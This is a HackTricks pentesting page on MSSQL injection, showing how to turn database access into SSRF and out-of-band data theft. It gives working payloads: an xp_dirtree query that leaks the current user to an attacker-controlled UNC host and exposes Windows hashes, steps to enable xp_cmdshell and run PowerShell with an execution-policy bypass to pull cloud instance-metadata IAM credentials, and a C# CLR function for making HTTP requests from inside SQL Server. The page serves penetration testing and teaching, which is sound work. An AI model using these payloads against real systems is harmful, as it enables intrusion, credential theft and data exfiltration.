hacktricks/pentesting-web/sql-injection/mssql-injection.md

106 lines
6.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# MSSQL Injection
## SSRF
**Information taken from** [**https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/\#MSSQL**](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#MSSQL)\*\*\*\*
\*\*\*\*[Microsoft SQL Server provides multiple extended stored procedures that allow you to interact with not only the network but also the file system and even the ](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[Windows Registry](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
One technique that keeps coming up is the usage of the undocumented stored procedure `xp_dirtree` that allows you to list the directories in a folder. This stored procedure supports UNC paths, which can be abused to leak Windows credentials over the network or extract data using DNS requests.
If you are able to execute operating system commands, then you could invoke Powershell to make a curl \(`Invoke-WebRequest`\) request. You could do this via the hacker favorite `xp_cmdshell` as well.
Alternatively, you could also use a User Defined Function in MSSQL to load a DLL and use the dll to make the request from inside MSSQL directly.
Lets look at the above techniques in a little more detail.
#### Limited SSRF using master..xp\_dirtree \(and other file stored procedures\) <a id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
The most common method to make a network call you will come across using MSSQL is the usage of the Stored Procedure `xp_dirtree`, which weirdly is undocumented by Microsoft, which caused it to be [documented by other folks on the Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). This method has been used in [multiple examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) of [Out of Band Data exfiltration](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) posts on the Internet.
Essentially,
```text
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
```
Much like MySQLs `LOAD_FILE`, you can use `xp_dirtree` to make a network request to only TCP port 445. You cannot control the port number, but can read information from network shares. Addtionally, much like any UNC path access, [Windows hashes will be sent over to the network that can be captured and replayed for further exploitation](https://medium.com/@markmotig/how-to-capture-mssql-credentials-with-xp-dirtree-smbserver-py-5c29d852f478).
**PS:** This does not work on `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` running on a `Windows Server 2016 Datacenter` in the default config.
There are other stored procedures [like `master..xp_fileexist` ](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)etc. as well that can be used for similar results.
#### master..xp\_cmdshell <a id="master-xp-cmdshell"></a>
The extended stored procedure [`xp_cmdshell` spawns a Windows command shell and executes the string passed to it, returning any rows of text](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql). This command is run as the SQL Server service account.
`xp_cmdshell` is disabled by default. You can enable it using the SQL Server Configuration Option. Heres how
```text
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE
GO
exec master..xp_cmdshell 'whoami'
GO
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/13.png)
You could use something like [PowerCat](https://github.com/besimorhino/powercat), download the Windows port of netcat/ncat, [use raw TCP Client for arbitrary ports](https://livebook.manning.com/book/powershell-deep-dives/chapter-4/9), or simply invoke Powershells `Invoke-WebRequest` to make HTTP requests to perform Server Side queries.
```text
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
exec ('master..xp_cmdshell ''powershell -exec -bypass -c ""(iwr '+@url+').Content""''');
GO
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/14.png)
You can additionally pass other headers and change the HTTP method as well to access data on services that need a POST or PUT instead of a GET like in the case of IMDSv2 for AWS or a special header like `Metadata: true` in the case of Azure or the `Metadata-Flavor: Google` for GCP.
#### MSSQL User Defined Function - SQLHttp <a id="mssql-user-defined-function-sqlhttp"></a>
It is fairly straightforward to write a CLR UDF \(Common Language Runtime User Defined Function - code written with any of the .NET languages and compiled into a DLL\) and load it within MSSQL for custom functions. This, however, requires `dbo` access so may not work unless the web application connection to the database as `sa` or an Administrator role.
[This Github repo has the Visual Studio project and the installation instructions](https://github.com/infiniteloopltd/SQLHttp) to load the binary into MSSQL as a CLR assembly and then invoke HTTP GET requests from within MSSQL.
The [`http.cs` code uses the `WebClient` class to make a GET request and fetch the content](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) as specified
```text
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
```
In the installation instructions, run the following before the `CREATE ASSEMBLY` query to add the SHA512 hash of the assembly to the list of trusted assemblies on the server \(you can see the list using `select * from sys.trusted_assemblies;`\)
```text
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Once the assembly is added and the function created, we can run the following to make our HTTP requests
```text
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/15.png)